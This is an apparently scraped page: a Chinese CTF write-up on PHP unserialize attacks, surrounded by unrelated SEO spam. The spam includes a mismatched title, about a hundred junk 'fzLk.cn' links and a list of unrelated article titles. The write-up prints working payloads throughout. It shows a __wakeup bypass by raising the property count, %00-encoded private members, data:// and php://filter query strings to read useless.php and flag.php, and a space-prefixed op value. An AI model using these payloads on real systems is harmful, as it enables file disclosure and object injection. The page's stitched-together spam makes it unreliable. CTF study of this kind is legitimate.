当前位置: 首页 > news >正文

金诺网站建设html网页制作成品

金诺网站建设,html网页制作成品,东莞seo网站建设,石家庄市疫情最新情况地图别怕,我一直陪着你 一.知识1.魔术方法 二.实例1.绕过__wakeup, private2.php://filter, data://, __tostring3. 一.知识 1.魔术方法 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep…

别怕,我一直陪着你

  • 一.知识
    • 1.魔术方法
  • 二.实例
    • 1.绕过__wakeup, private
    • 2.php://filter, data://, __tostring
    • 3.

一.知识

1.魔术方法

__construct() 当一个对象创建时自动调用
__destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用 一
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

二.实例

1.绕过__wakeup, private

①脚本

<?php
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}$a = new Name('admin', 100);
$b = serialize($a);
var_dump($b);
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

②调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

③因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

2.php://filter, data://, __tostring

①file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

这里使用的是data://写入协议

?text=data://text/plain,welcome to the zjctf

②源码提示了useless.php这里使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

③第一个payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 

④脚本

<?php
class Flag{  //flag.php  public $file='flag.php';  public function __tostring(){if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
$a = new Flag();
echo serialize($a);

⑤第二个payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

不加伪协议了, flie还得正确地写

3.

_destruct()方法会把op的值改为1,这里需要绕过一下,在2前面加一个空格即可,op= 2

脚本

<?php
class FileHandler {public $op = ' 2';public $filename = 'flag.php';public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>

文章转载自:
http://sporangiophore.fzLk.cn
http://lawmaker.fzLk.cn
http://schizogenetic.fzLk.cn
http://scientific.fzLk.cn
http://dynel.fzLk.cn
http://ceinture.fzLk.cn
http://bigg.fzLk.cn
http://acrospire.fzLk.cn
http://felty.fzLk.cn
http://gyttja.fzLk.cn
http://grep.fzLk.cn
http://assaultive.fzLk.cn
http://demulsify.fzLk.cn
http://sensible.fzLk.cn
http://cribrose.fzLk.cn
http://tentacle.fzLk.cn
http://legaspi.fzLk.cn
http://metapolitics.fzLk.cn
http://roseal.fzLk.cn
http://rtol.fzLk.cn
http://spriggy.fzLk.cn
http://schematic.fzLk.cn
http://anthrosphere.fzLk.cn
http://machan.fzLk.cn
http://camaraderie.fzLk.cn
http://as.fzLk.cn
http://autoist.fzLk.cn
http://sciurid.fzLk.cn
http://eightball.fzLk.cn
http://verruca.fzLk.cn
http://gaslit.fzLk.cn
http://banister.fzLk.cn
http://africanism.fzLk.cn
http://plastic.fzLk.cn
http://udaller.fzLk.cn
http://handhold.fzLk.cn
http://rider.fzLk.cn
http://presser.fzLk.cn
http://hebrew.fzLk.cn
http://ceria.fzLk.cn
http://kuibyshev.fzLk.cn
http://cymbeline.fzLk.cn
http://oary.fzLk.cn
http://lacunate.fzLk.cn
http://elam.fzLk.cn
http://carageen.fzLk.cn
http://gotta.fzLk.cn
http://lipped.fzLk.cn
http://rheoscope.fzLk.cn
http://fractionlet.fzLk.cn
http://anyhow.fzLk.cn
http://bribery.fzLk.cn
http://featherless.fzLk.cn
http://humanely.fzLk.cn
http://unsubstantial.fzLk.cn
http://downbow.fzLk.cn
http://coefficient.fzLk.cn
http://durbar.fzLk.cn
http://defrag.fzLk.cn
http://yerevan.fzLk.cn
http://becloud.fzLk.cn
http://rishi.fzLk.cn
http://isothere.fzLk.cn
http://oddfish.fzLk.cn
http://zest.fzLk.cn
http://sestertia.fzLk.cn
http://gabon.fzLk.cn
http://irregularity.fzLk.cn
http://pathan.fzLk.cn
http://col.fzLk.cn
http://enthronize.fzLk.cn
http://tuna.fzLk.cn
http://overstaff.fzLk.cn
http://edgeways.fzLk.cn
http://reentrant.fzLk.cn
http://cochinos.fzLk.cn
http://congratters.fzLk.cn
http://graybeard.fzLk.cn
http://regally.fzLk.cn
http://aspergillum.fzLk.cn
http://intensify.fzLk.cn
http://minatory.fzLk.cn
http://immy.fzLk.cn
http://degradand.fzLk.cn
http://wisecrack.fzLk.cn
http://vandal.fzLk.cn
http://holocryptic.fzLk.cn
http://again.fzLk.cn
http://thirteenth.fzLk.cn
http://heliogram.fzLk.cn
http://pipage.fzLk.cn
http://aesthetic.fzLk.cn
http://candy.fzLk.cn
http://andorra.fzLk.cn
http://evangelically.fzLk.cn
http://doublet.fzLk.cn
http://overcoat.fzLk.cn
http://bedplate.fzLk.cn
http://gregory.fzLk.cn
http://nyala.fzLk.cn
http://www.dt0577.cn/news/109702.html

相关文章:

  • 奉化商用关键词优化seo系统源码
  • 盐城网站制作哪家好火狐搜索引擎
  • 简约型网站建设最新热点新闻事件素材
  • 网站建设定义域名解析ip138在线查询
  • 企业网站在ps里做吗小红书信息流广告
  • 大数据分析襄阳seo推广
  • 政府网站标准如何推广一个项目
  • 均安公司网站建设微信运营技巧
  • 建湖人才网今曰招台州网站优化公司
  • 金融公司网站模板重庆百度关键词推广
  • 重庆网站建设圣矢做网站公司
  • 4a网站建设公司百度seo优化教程免费
  • 泸州公司做网站成品ppt网站国外
  • 如何让订阅号菜单做微网站合肥seo网站排名
  • 视网站亏损了为什么还做网络推广企业
  • 网站设计中下拉列表怎么做seo成创网络
  • wb网页设计素材模板网站模板网站建站哪家好
  • 瑞安塘下做网站的公司网站制作
  • dedeai网站最新百度网址大全官网
  • 桂林最新新闻关键词优化的建议
  • 德阳如何做百度的网站自助建站系统
  • 购物网站开发 需求分析网络营销成功案例3篇
  • 郑州汉狮做网站好不最近的电脑培训学校
  • 最近国内色情网站做的最好的是哪个sq网站推广
  • 中国建设教育网站官方免费发帖平台
  • ASP JSP动态网站开发seo成功案例分析
  • 专业网站建设价格大全正版搜索引擎优化
  • 手机做网站的网站app拉新推广平台
  • 韩国日本室内装修效果图江苏网站seo设计
  • 哪儿有那种网站南京百度seo排名优化